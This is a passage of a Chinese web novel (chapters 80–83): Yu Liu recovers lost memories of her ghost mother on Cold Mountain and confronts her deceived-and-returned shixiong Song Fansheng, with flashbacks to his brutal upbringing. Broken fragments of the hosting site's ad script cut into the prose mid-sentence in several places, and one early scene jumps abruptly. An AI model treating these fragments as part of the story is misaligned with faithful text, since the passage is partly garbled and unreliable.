“赵杏你能不能别挤我,这不是嫂子写的,是我哥写的。” “宋山云你走开,一边和李长庚呆着去,我和青霭姐姐说话,有你插嘴的份吗!” “嘁嘁嘁,我走,我走!”宋山云不用她推,自个儿走到山路边和地上磨剑的李长庚排排蹲。 他拔起一根狗尾巴草,叼进嘴前,环顾了半圈:“长庚哥,还有一个呢?” 李长庚:“给青霭摘果子去了。” 宋山云咬着草梗,心里骂了一句:“舔狗。” “宋山云,别拐着弯骂青霭,”李长庚反过剑刃,“也不许骂赵杏。” 宋山云奇了怪了,他都没出声,李长庚怎么知道的,才想问,那边缠着林青霭的赵杏惊呼:“雨眠生了个儿子?” “嗯,宋大哥说他们给他取了名字,叫繁声,宋繁声,”林青霭翻着薄薄的信纸,笑着和骄纵的妹妹说,“梦觉繁声绝,林光透隙来。很好听的名字。” “好听吗,一般吧,我取的更好听,青霭要不要听听?”正巧回来的青年昂扬着一脸热意,笑容灿烂,眼睛明亮,把洗得干干净净的山果子递给林青霭,顺便扯下赵杏的长辫,让她滚开的意思无需多言。 赵杏被他扯得趔趄,毫不客气地大骂:“人家宋大哥和雨眠生孩子,你搁这儿起什么名字啊?请问有你时不愁的事吗,没有!赶紧给我让开,那是我的姐姐,让开,让开,让开啊……” 握不住发丝的手掌穿过前额,置于他的脸侧。她在他的身上,触碰到了故人的气息。 他的父母,还有……他如今的亲人? 原以为的旧梦一场,走不出败局的从来不是只有她一人。 “没想到这么多年后,我会这样见到你,”女鬼低头,柔声道歉,“这些年来过得很辛苦吧,是我们对不起你。那个孩子也是。” 陌生的情愫惊动了被他封存入静潭的死水,戒心卸下,他抖着声:“您、您是……” 她矮下身,无形的双眼柔和地笑着:“初次见面,我该介绍自己的。林青霭,你的母亲应该和你提起过我。而被我缠着的女孩,是我的女儿,时瑀。” 如临梦境,超乎世俗的存在让他触摸到了母亲残留下的旧影。 宋繁声的眼神骤亮又黯然落幕:“也不算很辛苦……其实我过得,还好。” “是么?”死了有这么点好处,人的谎话一下就能听出来。林青霭能察觉到他身上愈合又撕裂,撕裂又愈合的伤痕。比起阿遥,他也没有多好。 她不忍心点破。 “那你现在在哪儿,镜水山庄吗?” “不是,我在万丈峰。” 表兄啊。 林青霭有些许的失神。 小杏啊,何苦呢。 宋繁声以为她在担心:“您放心,师父对我很好。” 林青霭敛下愁绪,温柔点头:“我知道,他总会是个好师父的。” 她又问:“你想下山吗,我可以领着你们走出去。你,还有你来找的那名少年。” 许是看出他的慌乱,林青霭安抚道:“不必害怕,鬼总是知道很多的,但鬼做不了太多。我不会把你的秘密说出去的。” 宋繁声这才有心思琢磨她的建议:“您可以离开?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“也算……可以吧。如果你愿意的话,我会尽快带你们走。你们在这里呆得越久,白雾越发躁动,说不清哪一天就会引起不必要的麻烦。而且我想,早点回去的话,你们的日子也能好过些。” “那她呢,”宋繁声指向遥遥的小屋,“您不带她走吗?” “还没到时候,”林青霭说,“繁声,不用担心她,该走的时候,她会自己走出去的。” “那……”聪慧如他,颤动的眼眸抬起,“那些白雾会就此甘心吗?” 林青霭撑着舌尖,迟迟没有发出声音。 “听妹妹的意思,它们是一点亏都不吃的,”宋繁声了然,“您,您要牺牲自己吗,可您,还有什么能牺牲的呢?” “哈……这么聪明,不亏是雨眠的孩子,”林青霭弯腰,悲戚又庆幸,“是你想的那样,但不用觉得难过。如果我迟迟不散,也会落得和那些白雾一样的下场,没有必要,我也不想成为困她害她的最后一步。我们这一生,最不缺的就是离别。” 宋繁声抿唇:“如果是这样,我可以自己下山,无非多喂白雾几天。” “这么有自信吗,可是没有我的帮忙,你在离山的时候会栽更多的跟头。” “不会死就行,”宋繁声没什么所谓,回头望向白雾深处,眼眸中悄然拼凑那夜将他救出噩梦雪海的冷脸姑娘,“如果您迟早都要消散,不如多陪陪她。” “这样吗,”林青霭怔了怔,而后释然,“这样啊……那么,繁声,如果可以的话,以后帮着姨母看着她好吗?” 宋繁声没有回答,而是问她:“你是不是可以做很多常理无法解释的事情?” “什么?” “在我下山后,您可以让她忘了我吗,这样的相遇太丑陋了。” 林青霭真心地弯起了眼睛。 这一日宋繁声在山中走了很久。他一个人固执地寻着下山的路,不知不觉抬头敲着酸痛的脖颈时,他瞧见了被树稍的风送来的茫茫莹白。 一路奔回山中的小屋,小姑娘正捧着手心接着飘落的飞絮。 “哥哥,下雪了,”飞雪从手中流逝,她难得显露小姑娘的羞喜,“是雪吧,我长这么大,寒山还是头一次下了雪。” 很小的一场雪,白得迷眼睛,却没有他记忆中的冷。 “眼下并非冬月。”他说。 “不是的,在寒山中,你不能用山下的时节来比较。” “那……那就是吧。” 这不是雪。 ——活着的人都逃不开离别。 宋繁声没有拆穿:“你喜欢雪吗?” “不知道。很小的时候我曾以为那些白雾是雪,后来有人告诉我不是。可能没见过,总会有点喜欢的。” “那雨呢?” “像眼泪,不太好。” 宋繁声有些许的失望,旋即露出淡笑,主动和她提及山外:“人间的雪应当会更大。日后你下山了,会看见更好看的雪景的。” “真的吗,可是这一片很少下雪的。” “那就去别的地方,”他缓缓走到她的身边,轻如霭的雪落在她的发端,穿过血肉,沉入她的骨骼,“如果我是你,我会去崇州。” “崇州,好玩吗?” “适合你学成杀人的本事。” “听起来是个好地方。” 日后的路还未明朗,他却先想到了以后。 他问:“你喜欢什么,暗器,金刀,还是长剑?” “这个重要吗,不能随便选一个吗,我只是想要杀几个人而已。” “随便啊,”宋繁声笑了,摩挲着右手掌心的薄茧,低声说,“要这么说的话,那你听说过天下第一剑吗,小玉姑娘,下山了之后……去学剑吧。” 80. 又相遇 会凫水的人才会溺水,生于白雾中的人才会被白雾欺骗。 曾经被遗弃的记忆遇丘而止,它和它的主人一样,永远都翻不过这座白雾缭绕的禁山。 是过去的小瑀怕了,还是如今的玉流怕了,说不清。 玉流的退堂鼓敲着,咚咚咚—— 玉流在浮云搭成的梯子上后退,踏踏踏—— 只差一步,她们就能衔接起彼此失去的过往。 不知以后会如何的小瑀不再前行,她站在白雾中,睁着尚且明丽的双眼,问:“你不再朝我走了吗?” 是,她又想逃避了。 但她面对着自己,却还是要嘴硬地说谎:“不是,我只是觉得没有必要再继续了,断在这里就足够了,你和我,都没有必要再经历一场后知后觉的离别。” 她知道自己还处在幻境中,可是幻境中的自己也是自己,就此打住,未必不好。 小瑀未曾经历的日子是她此生都不愿再回想的噩梦,烂黑得就像那夜燃烧的幽火,只是火的两边,只有她和她自己面面相觑而已…… 再后来,她独自一人走下了困了她近十年的孤山,高唱送别的是一如那日的飞雪,未及半空,纷纷融散。 火熄灭,雪消融的光影中,她忘了很多。 一个人,一团霭。 如此荒谬绝伦得失去,又理所必然地记起。 玉流抱着头,埋起脸,忘了就忘了,她本不该想起这些,为什么!为什么!为什么…… 突然,玉流猛地弓起背,抠着喉咙干呕。身如无底洞,不尽的苦涩从胸,从胃,从心中涌出,太苦了,苦得她想要掉眼泪。 她吐得嗓子眼都疼了,什么都没有呕出来。 小瑀看着长大后的自己,理解地点着脑袋:“如果不继续了,那我们就去别处看看吧。” 玉流抹了一把嘴角,觉得幻境中的自己也挺好笑的,有种莫名的好客之道:“有什么好看的,呆了快十年的山,我没那么容易忘记,你有这工夫不妨告诉我该怎么离开这虚假的幻象。” 小瑀啊了声:“原来我以后会变蠢吗,这不是假的啊,只有我是假的而已。” 下一刻,玉流红湿的双眸骤然抬起:“什么?” “如果这不是假的,”玉流直起身子,整个人还似清晨被晒的白露,晶莹薄透,长时间的呕吐为她被林中的风雾吹得青白的脸添了半分的红润,她看了眼周围,“你为什么还会在?” 回答她的是小瑀点着脚尖的轻踩。 贴着地面攀爬的白雾散去,眼前恍然出现一缕细长的白线,像极了寺庙中祭拜的佛香。 玉流的声变冷了:“你是什么。” 小瑀走过来,玉流看着那张稚气未脱的脸,难以解释此刻的心绪:“你到底是什么,怎么会,怎么……” 她不仅没有害怕,反而觉得亲切。 “就是你刚才所看见的那些,”年幼的自己皱着小脸纠结了好一会儿,找到了一个比较合适的说法,“我是她在彻底消散拼尽所有为你留了下来的记忆,藏在山的缝隙中,等着你回来找到我。” “哈……她次次都是这样,说着为我好,次次只会让我觉得她狠心。”玉流颤着唇,刚回溯完那段缺失的过往,字里行间都是难掩的伤。 玉流信了。 因为她的母亲做得出这样的蠢事。 死无葬身之地,入不得轮回,还要为别人考虑。 玉流抿唇,强忍下眼底的酸楚。在山外呆了太久,她真的越活越回去了,还不如八九岁的自己来的冷漠无情。 小瑀真是当年的自己,说什么都是冷冷淡淡的:“说真的,她说你会回来的时候我还不信,现在看来,你这几年在外面生病了,还病得不清。” 小瑀圈住她的手指,八九岁同十九岁相比,矮小太多。指端相连着,她静静地说:“你在哭吗,你好像很难过,为什么?” 玉流沉默了。如果她看见的小瑀只是那段被忘却的记忆,也就是一场易碎的幻影。 旧事重提,徒增寂寞的只会是玉流。 “你看错了,我没有难过,找回记忆喜极而泣,”玉流半蹲,盯着小瑀,半是较真半是玩笑道,“所以你不会害我的,是吗?” 小瑀翻白眼,说不出的不虞还有嫌弃:“说真的,我长大了还是这样的吗?” 玉流噗嗤,吸着鼻子嗯了声:“走吧,去你要带我去看的地方。” 小瑀没有找到自己想要的答案也不是很在意,她慢慢地收回自己的手:“行,那你赶紧跟我来吧,我估计也不会存留太久,得赶紧让你找到人,这样你才能顺利地出去。” 年幼的小瑀像一条银鱼穿梭在黑白的草林中,玉流犹豫了片刻,决心跟上。 之前入山时的疏离逐渐消失,眼前的景象逐渐清晰起来。眼前的禁山开始像是多年未曾踏足的寒山了。 曾经走过无数遍的山路,曾经摸过无数遍的树干,还有那块看过无数遍的平地。 玉流猛地停下脚步,冷着声质问:“你要领着我去哪儿?” 小瑀看着她,认真地说:“去有人等你的地方。” 玉流无意识地收紧了拳,嘴半张着,无声了好久才说出点话:“谁?” 小瑀端详着玉流的脸色,皱着眉想了想,接着笃定道:“你在害怕,你到底在害怕什么?” 玉流的指甲已经扣进了手心,深深的半月痕刻在掌心中,她却好像一点也没有察觉:“你既然是我的记忆,你就知晓我的性子,你想不知道我在害怕什么吗!” 那以小块平地上有什么,谁在等着她,她又会看见谁…… 如果是刚入山时,她会认为有诸多可能:诸几、赵廉、周承昀、无涯贼首。而此刻,她很清楚自己会看见谁。 玉流想不明白,她进寒山的目的从来不是为了这个,这样的走向让她倍感无力:“为什么要这么做,她为什么要你这么做!你真的只是我的记忆吗,为什么要逼着我做一些我并不情愿的事情!” 汹涌的情绪让玉流的脑子嗡嗡作疼,好似有什么要从身躯的禁锢中脱身而出。 “因为我不想你只有一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个人。”小小的人影叹了口气,化作了小小的一团,像是她很小的时候住在山中的那摩形影不离的雾霭,连自己稚嫩的声音都有了似曾相识的语调。 熟稔又陌生。 “正是我因为了解你,所以才知道你必然会走入这样的境地中。我知道这很难,放弃也没关系的,但不要害怕,走不走下去娘亲都不会怪你的,只要记得自己要好好的,要相信一切都会好起来的……” 太多了太多了,她的脑子成了浆糊,糊住了耳朵,糊住了嗓子,玉流觉得自己应该是幻听了,宛如病入膏肓的将死之徒发出嘶哑的求救:“你、说什么……” “就到了这里了,以后要照顾好自己,”林青霭顿了顿,她只是依附在山间阴阳界线中的一缕执念,借着白雾的力量才能在梦境中与她再相遇,“时瑀。” ——“就到这里了,以后要照顾好自己,再见了,时瑀。” 缺的只有那么三个字。 雾霭不见了。 脑中一根弦啪地断开,玉流这才如梦初醒,大步朝前跑去:“不……等、等等,别走,说清楚,说清楚啊,你才说我看到的都是真的,怎么、怎么就要我……林青霭,娘亲,娘亲,不要走啊——” 冰冷的气息落在身上,顺着衣裳游离至全身,玉流多希望她还是没有醒来,依旧徘徊在真假交临的幻境之中。如果不是这样,为什么她要做这样狠毒的事情呢? 这些都是假的是不是,是不是——“啊哈,啊哈,啊……” 仿佛窒息的人陡然寻回了呼吸,玉流茫然无措地环顾周遭。 她怎么会靠在树下? 所以,那真的是梦吗? 无声的泪潮如雨帘,重新淋漓了早已湿透的脸颊。 “这算什么,如果您要让我往前走,为何还要让我想起这一段会困死我的往事呢?一个人……一个人有什么不好的……” 十多年前的冷秋,我于寒山中遇见两位少年。 被我捡起救活的那位于无声中消失,留下一帘沾红的白雪——带走了我母亲一半的魂魄。 另一位,他教会了我什么,又狠心地全部带走,悄然离山之后,像一株无根无头的细草,唯一仅存的念想只有崇州之剑。 以至于我兜兜转转,终于在最该死的寒山中想通了这万恶的因果。 玉流抹去泪水,几番挣扎之后,循着儿时碎布般拼凑起的完整记忆,扶着一棵棵熟悉的树木,走上了那条旧路。 黑树肆意生长着,泛滥的盘根错节占领这片当年仅存的安稳之地,而那座本就破败的小屋如今已经残旧风化,只剩下枯木的柱子尚存一息。 玉流觉得一切都不复当年,却有什么仍未更改。 树根之上垒起了石块,燃起半人高的大火,依旧是漆黑的烟,依旧是涩苦的气味,依旧是当年万分诡异焰火,还有那位时隔十几载的春秋才被她认出来的人。 幽冥之火,雾雪经年,故人仍如,旧梦一场。 玉流闭上潮湿的双眼,轻声道:“敏郎哥哥,暌违日久,别来无恙。” 81. 繁郎归 一把如刀的眼风,一声冷冷的嘲笑,玉流喘着气,盖过湍急的泪流:“我该这么叫你吗,还是说,师兄……小郎君……周公子……宋繁声?” 宋繁声没有说话,幽静地凝视她。 相望的一眼,胜过千言万语。 他还穿着伪装成周承昀时的那身墨竹衣袍,没有戴着周承昀的假面,也不再是小郎君的姿容,站在玉流对面的是真真正正的宋繁声…… 三年不曾见,而今在咫尺,不是隔着黄泉奈何桥,只是隔着幽微的诡火。 玉流踢开挡路的木头,踩灭式微的火焰,停在他的身前。 两步之遥,他清瘦得有些过分了。 太久没见过人,太久没照过阳的脸被散乱的黑发衬得失血苍白,宛如缀于无边黑夜的一轮白月,月之下,乌篷似的那双眼眸中,是冬夜着雪的潭水岸漾开了浅浅的涟漪。 挨得已经这么近了,她也只找到丁点旁人的影子。 难怪难怪,她的好师兄,她的好哥哥,练了一身的好本事…… “啪——” 玉流狠狠甩了他一巴掌。 在寒山中荒废太久,她的力气不如先前,却还是用了八成,震得她掌心发麻,泛起细密的疼,可都不及她的心疼。 “宋繁声!耍我很好玩吗!”每个字都含着泪,玉流几乎是咬着牙骂了出来。 左脸隆起小小的丘陵,刺痛化作滚烫的岩流,丝丝缕缕地熔了半丘的山石。 宋繁声没有理会,而是握住她泛红发烫的手掌,低首问她:“打疼了吗?” “你管我!放手,放手,放手啊……”他的身上附着令人安神的淡香,玉流心绪却始终难静,挣脱不了的手掌被迫贴上他灼热的心口,热又烫,烫得麻,麻得疼,疼作痒。 难停难止的痒从指端乘上血肉之船,穿透脾肺的阻碍,驶至她的心口。 “放不了的,师妹,”他低头,穿过她的五指紧紧相扣,托着自己的脸侧磋磨着,轻声说,“如果能放下,我们都不会走到今天的局面。” 两道被指甲擦出的血口愈合,留下细长的伤痕,贴着眼下而过,唯二的血色让他终于有了点活人的气息。 这样的认知让玉流掐住了他的下颌:“我从来没想过要和你走到这里。” “我知道,”宋繁声受着她早已脱离掌控的神魂,“是我在强求,是我在勉强,原谅我……” 原谅我从头到尾,都是一个彻彻底底,不折不扣的混账。 原谅我不能算无遗策,不能为你摆平所有的阻碍。 雾止风栖的寒山禁处,天地寂静,她还恨着他,下一刻他或许就会身首异处,他不该生出闲情,但三年太久了。 宋繁声和玉流的重逢,即使是须臾,也会让他想到长久的地老天荒。 直到指下的骨头发出抗拒的低鸣,玉流发力的指腹才悄然卸下,明显的指印刺痛了眼睛,她找回了点失控的自知,哑着嗓子问他:“为什么要这样,为什么骗我。” 宋繁声莞尔,站直身子,抚上她消瘦的脸颊,笑得狡诈,说得刻意:“我好像骗了师妹很多,你在问师兄哪一件呢?” 他又一次用了手段,不去说“为什么”,而是问“怎么骗”。 玉流还生着气,一想到被他“骗”了这么久,一头就接住了。 玉流呵出一口冷笑:“你不知道吗……哈,怎么,我这么敏慧的师兄,也要向我这位被玩弄于股掌之间的师妹请教了吗!” 玉流拍下他的手,扯下他的衣襟,眉眼淬火,怒声道:“宋繁声,说话!” 宋繁声了然,对弈的双方既已心知肚明,便再没有制胜的筹码了:“你是什么时候知道的。” 知道他没死,知道敏郎就是他——知道这个似乎除了她之外,近乎于人尽皆知的秘密。 “我醉酒的那个晚上,估计是被敏郎拒绝太难过了,竟然又梦到了你这个死人身上……”玉流说着都想要发笑,“在梦中,我捡起了一点陈年旧事。” 玉流用力将他拽下来,额头贴着额头,空闲的右手捏住他的耳垂,点在他那滴鲜为人知的墨迹上:“师兄,你知道你这儿有颗米粒的痣吗,小小的,我偶然间见到过。什么时候?当年在万丈峰中你不让我看你腰腹之伤的时候……” “宋繁声,你怎么有脸不让我看的,你怎么有胆这么玩弄我的,连骗带哄,把我耍得跟个傻子一样团团转!你是不是还很得意,长大以后的玉流甚至比小时候的时瑀还要愚蠢!”玉流越说越来气,恨不得扑上去咬烂嚼碎这个骗子。 她不能。 没有为什么……她不能。 玉流磨着虎牙尖,靠着手指的用力捏疼他的耳垂,纾解闷在心头久久不散的怨怒。 宋繁声嘶了一声长气,没有阻拦由着她胡闹:“人在河边走,我也湿了鞋。幸好,只湿了一只。可我想着两只鞋子也是成双成对的好,因此,我主动跳进了河中。” ——我清醒地走进了你设好的陷阱中。 无人明说,两人之间默契地走入了有来有回的博弈。 玉流挑起眼尾,手舍得松开了:“师兄什么时候知道的。” 知道我已经知道了你的身份,却还故意装作不知的秘密。 “病中,”宋繁声站直,慢慢道,“那场急病不在我的计划之内。我太久没有睡个安稳的好觉了,沉眠的那几个时辰中,我也想清了一些古怪。” 他走上了一步,他们靠得更近了:“你病好醒来后的那一日,主动到过了头,让我也沉迷其中。可是我的玉流不知道她在师兄面前,根本藏不好心事的,总是有仇当场报。你的那一口,咬得倒轻。” 宋繁声沉沉笑着:“故意不关紧房门,故意要在门口和章囚说话,故意要说得那么清楚,不就是为了让我听见吗,师妹。” “啊哈哈哈,原来是这样……多好啊,连梦对你我都是仁同一视。成也故梦,败也故梦,”玉流仰面,发颤的眼眸紧紧地盯着他,“所以宋繁声,凭什么!你凭什么这么对我!” 宋繁声抬手,抹去从她眼角滑落的泪珠,喉结艰涩地滚过,他扯出笑:“凭我是你的师兄。” 他在岔道前,没有选择那条触手可及的正确之路。 我的玉流今日已经遭了太多的苦,我不能再逼她了。 “呵……哈哈哈哈哈,”听见这样的答案 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,玉流不禁放声大笑,笑得眼泪如珠帘乱落,“你在说什么蠢话,你就这么想要我来承认吗!宋繁声,你怎么能这么的混账!” 她拉下他的手握紧,带下他的肩,走上了最后的一步。 牙齿磕碰到牙齿的瞬间,满嘴发酸,酸得玉流想反悔了。 比她更快,宋繁声在极短的怔愣后扣住她的后脑,交换了漫长的一口气息。 这是一个不太干净的吻。 玉流狠心地咬破他的舌尖,血味又腥又苦,她没有退开。 牙尖研磨着血肉,她在心中驳回他的回答。 不是。 ——凭我舍不得,凭我不想一个人。 是什么时候变成这样的,玉流已经说不清了,到底是宋繁声还是敏郎让她变成这样的,玉流也不想去分辨。 是哪个名字重要吗,都是他而已。 一个病得快疯的人,布出这样的棋局,另一个……另一个也有病。 翘首遥遥,似有归期 不知怦然,心已有动。 病到要拖着救她的病患一起下地狱。 这也是一个没有太多欲念的吻。 宋繁声揉着她的后颈,无声地安抚着。 从当年寒山的瘦弱细草,到万丈峰中拇指粗细的藤蔓,再长到如今和手腕一般,用不了太久,她真的能绞杀了她依附的柏树。 良禽择木而栖,藤蔓也可如此,只是他不愿;也许她不会再另寻他主,因为这样的藤蔓早已可以独当一面,只是他不愿。 于是他殚精竭虑地死去,又于一年春末复生,长出嫩绿的新芽,以一株小树的身份重回她的身侧。 可他有胆量筹谋,却也不敢在她的身上落下一笔会如何待他的考量。 人前成竹在胸,人后…… 不敢赌,赌不起。 而在今日,他以宋繁声的身份,抱住了曾如盈盈秋水淡淡春山绮丽的美梦。 不再是痴心妄想。 但还不能偏安于此。 他不知道玉流已经掌握了多少,至少他瞒着的那些秘密还不能开诚布公,但风雪已临城压境,很多的人都已经坐不住了…… 满嘴的血被舔去,伤口也不再隐疼,在玉流闭过气之前,宋繁声及时放开了她。 玉流还懵着:“你就这样?” 宋繁声不太好受,嗯了声,揉了一把她的头发:“你当这是哪儿?” “啊,”玉流扭过脸,“抱歉,把你当成敏郎了。” 宋繁声默了默,掰回她的脸,用沙哑的声音问:“能说笑话了,所以不生气了,对不对?” 玉流冷哼:“你觉得可能吗,你当我这么好哄?” 宋繁声失笑,用手指给她擦干净嘴角:“我以为……” 玉流含着舌尖,没察觉出他的细微之变:“你惯会以为的。” 宋繁声垂下眼:“那你还在生气。” 玉流的确还不想这么轻易地放过他:“是。师兄尽快做点什么,不然我只能和你打一场了。” “那么现在……”宋繁声勾起唇,拉起她的手,放在她的腰侧,领着她握住剑柄,“杀了我,好吗?” 82. 我必死 “你在说什么——”玉流原以为他在谈笑,对上他的眼后才发觉不是。 宋繁声提着,玉流按着,剑刃撞击着剑鞘发出嗡嗡的剑鸣,似在轻泣,又如控诉。 “为什么。”她平静地问,模样却是固执又倔强。 宋繁声笑着,另一手抬起,抚平她拧紧的眉心,不答反问:“你之前不是很想杀了我吗?” 玉流压眉:“你也说了,那是之前。” “可是,”他的眉眼被前额飘散的碎发遮没,尚暖的指尖摩挲着她的额角,“师妹,现在与之前没有什么分别。” “你……”玉流迟钝了这么久,终究在他打哑谜的一字一句中寻出了一线的异样,漠然的脸,漠然的眼,连被他包裹着的手背都在一点一滴地冷降,“你到底瞒了我什么?” 宋繁声却说起了听起来不太相干的话:“你想知道我为什么要诈死吗?” 玉流没有当即应声,沉默了会儿,而后摇头:“师兄,这才是没有区别的两件事。” 她看着站在她身前却仿佛与她隔着万里的宋繁声,认真道:“一脉承之,这都是你不能告诉我的秘密。” 还是发现了啊。 宋繁声咽了咽,拟好的腹稿又被玉流打断:“好,那你告诉我为什么。” 她就是这样的反反复复,阴晴不定,琢磨不透。 现时,她想体谅一次藏匿了三年的人,想知晓他难以言说的苦衷。 宋繁声微叹,挑开她散落的一绺长发,别至冷白的耳后,指尖走过耳骨,落至颈后,慢慢地将她带进微冷的怀中。 脸侧贴着她的绒绒的头顶,声轻如风语,杳不可闻:“因为……” 当年他拒绝了林青霭的相助,靠着自己在山中摸索探寻,在半余月的某日下定决心,跌跌撞撞走出了寒山。 他想过的,这次不仅没抓回人,还拖延了数日,回去之后大概要吃不少苦头了。好在他对姨母还有用处,她再狠,也会留下他这条命。 只是宋繁声没有想到,比他先逃离寒山又被逮回去的人会比他好过。 他含糊地揭两人失踪的行迹,也没有言明寒山之事。 他在这里从来都是寡言,但这次没能给出合情理的说法,姨母的余怒如山震,延绵了几日。 满屋的刑罚来回受了两次,除了脸还好着,身上没有一块好肉。伤得极凶,药也用得极重,皮开肉绽又愈骨生肌,他更是废了一半的命。 他还得回万丈峰,不能再躺着了。 宋繁声提着气从房中走出来,几日不见天光,照得他头昏眼花,抓着门才没昏倒。 “你看起来不错,可见我对你存了仁慈。不该谢谢我手下留情吗,宋繁声?” 执刑者也是送行人。 “我谢你什么,阿腰,啊,”宋繁声缓气说着,见对面的人脸色如布阴雨,遂装作懊恼,伸出手摆了摆,“抱歉,才醒记岔了,忘了你已经改了名字,阿……阿……” “阿遥,遥知不是雪的‘遥’。你最好给我记住,尤其是在崇州的时候,千万别给我叫错了。”阿遥细着眼看他,一个字一个字地从齿间蹦出来。 竟然没有立即反唇相讥,有长进了。 不过他在说什么呢? 宋繁声斜靠在墙上,眨眼的瞬息,他想起了在刑房的门合上前姨母告知他的事:即日起,阿腰,不,阿遥会同他一起留在崇州。 至于阿遥为何要去崇州,她没有明说,但宋繁声从她的只言片语中,捕捉到了一点怀疑的痕迹。 所以,先回来的阿遥做了什么? 宋繁声清着未伤愈的嗓子,说:“何必改名字,换个音就是好字了?不如腰,毕竟一叫,我们这群人都知道你不好惹。” 一个比他迟了半年被姨母捡回来的无名孩子,当人的时候说话难听,杀人的时候阴险狡诈,靠武力赢不了,就用阴损的手段补上。 百里挑一的死斗中,卖惨躲在人后,等其他人互杀完了走出来,耍诈解决了最后的对手。不过天上不会掉馅饼,总要付出点代价的。 腰侧被捅划了一道长深的口子,漏出的血肉糊作一团。 勉力强撑着站在笼中,被无数人的血涂花的脸却没有一丝一毫的惊恐,麻木地把掉出来的肠子塞回去,撕下浸湿吸满污血的粗衣,一圈一圈地绑住了翻开的皮肉。 过程不重要,重要的是活下来。 一战成名,“阿腰”就成了这位孤儿的名字。 “宋繁声,”阿遥嘲弄道,“我知道你在想什么,你以为我是被其他兄弟抓回来的。” 他走过来,两位不相上下的少年对峙着:“不是,我是自愿回来的。我认清了残忍的世道,决定向母亲献上了我的真心……” 阿遥挑起唇,朝他挑衅一笑:“如你所见,她不仅原谅了我,还给了我一个证明自己的机会。” “是么,”宋繁声说不上信不信,全身还在隐痛,他的脑子不如往常好使,“叛徒也会回头?” “不行吗,”阿遥没什么所谓,“我和你不一样,从来就是孤儿,一饭之恩大过天,母亲救了我让我活下来,我有良心,懂得知恩图报。” 宋繁声眯起了眼。 有朝一日从阿遥的嘴里听见这种话,堪比青天白日见了鬼。 阿遥为什么会逃,就是因为受够了这里暗无天日的日子。 受够了永远只能当影子,永远在杀人,永远在毁尸,永远要成为姨母的一把利刃,所以不惜杀了陪他一起从地狱爬出来的兄弟姐妹,踩过他们的尸体,即使半死也走出这座背光的深山。 这样薄情寡义的人,那张向来假话胜过真话的嘴里说出来的话,也只会是冠名堂皇的虚话。 为了表忠心说给姨母听很正常,但,宋繁声问:“你和我说这些,为什么?” “因为啊……”阿遥伸手撑上宋繁声脸侧的墙,近身低语,声音从他的舌尖爬进宋繁声的鼓膜中,“第一,我想告诉你,我没对你下死手是因为你帮我糊弄了逃亡的行踪,第二……我觉得你该记住,既然山有阴阳面,我也不比你差,凭什么要藏在阴面下,阳面才更适合我。” 宋繁声皱起了眉:“你没有烧坏脑子。” 他怎么可能会帮他,当时得知阿遥因为重伤记不清去过哪里时,他还暗自庆幸。 他确信阿遥不知道他跟着也进了寒山,更确信没在寒山见过他。别人……不,没有人会说。 “你还 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 记得什么?”宋繁声问。 记得自己误闯的是寒山,记得自己被个嘴硬心软的小姑娘救了,还是记得自己被一片有灵的雾霭送了出来? “记得——记得你差点把我害死,”阿遥睨了他一眼,“我说宋繁声,几日不见你怎么这么多话了,挺烦人的。听我一句,不如你也改个名字好了,叫阿烦吧。” 宋繁声没有搭话。 他听得出来眼前人的避而不谈。 也许从此刻起,他们皆有了不可告人的秘密。 “还有要说的吗,没有的话你可以滚了,”阿遥站好,险诈的狐狸收起狐尾虚情假意地送客,“阿烦,咱们崇州见。” 他们当真说话算话。 不久后的一日微雨中,阿遥就这么走进了崇州的地界。 再相见时,这位熟人演得妙极,仿佛真是受人引荐的陌生人,客气地说一句:“在下谢遥知,久闻宋公子声名。” 一张好嘴,见人说人话,见鬼说鬼话,不过几日就在各个门派间混得风生水起,甚至成了逍遥阁的熟客,同慕容鸠都相处甚欢。 这时候他才想明白姨母让阿遥来崇州的道理。 一柄不知何时会脱手的剑,需要有一双眼盯着。一双曾属于叛徒的眼,也需要一柄还握在手中的剑刺着。 还需要在他离开万丈峰时,有人帮她盯着江湖的异动,安插好每一根暗桩。 谢遥知的确做得不错,走得比他还要稳固,有时候甚至让他觉得阿遥真的只是想报答姨母的恩情而已。 直到几年后,有位瘦弱的小姑娘千里迢迢踏入崇州,敲响了万丈峰久闭的山门。 江湖皆知李长庚破例多收了位弟子,宋繁声多了位小师妹,却不知这位隐退的尊者终于从日复一日的醉生梦死和玩日愒月中走出,横亘在善恶间的少年剑客也从严霜骤雪的寒月熬到了煦和溶暖的春日。 还有谢遥知……宋繁声见着他厚着脸皮跟朱雀踏入万丈峰,一把折扇摇散清晨的薄雾,从来非真的狐狸笑意盎然,难得一见的赤心:“好久不见,小稻草人,你也逃出来了啊。” 他的师妹虽疑惑,还是冷着脸说一句怪人有病。 ——小玉,那时候我才知道遗忘那段往事的只有你,而你才是他跟着我入崇州的真正目的。 他或许和姨母达成了什么交易,或许没有,但不管如何,他都会成为我的阻碍。 同样的,也会成为我的助力。没有人比他更了解阴阳面,没有人比他更得姨母的信任。 暗中较劲了这么久,我也读懂了他的心思。 两个不同的人,两种不同的路。 我和他终归是不同的。 谢遥知在等,而我在谋。 我深知我和他都是被死钉在暗面的虫蛾,久居暗室怕光讳光,却还是无法控制地趋向光。 但是做光太苦了,你既然一定要走上那条几乎无法回头的路,那么我们换一换。 我帮你。 帮你上爬,帮你走远。 差了十年,我也该走出那个家了。 希望不会太迟。 宋繁声抱紧玉流:“……我必须先死,他才会出来,而你,就能走向下一步。” 83. 荒唐事 飘若绫绸的白雾裹挟着林树,昔日的寒山,如今的禁山张开了它的血盆大口,獠牙狠狠地砸下,贯穿了它相中多年,失而复得的猎物。 一死一伤。 半身沾血,心有惘然,郁色沉沉的脸上,玉流闭上眼,溅入眸中的血蔓延瞳仁,睁眼的瞬间,譬如血日坠下鎏金的虹影。 一道又一道。 玉流从从白雾中走出,跨过不悔淌下的细流,痴钝地抹去飞溅在脸颊的血滴,胡乱地擦抹,碾过唇齿,尝到了腥甜酸苦的滋味。 剖开肌骨,揉碎血肉。 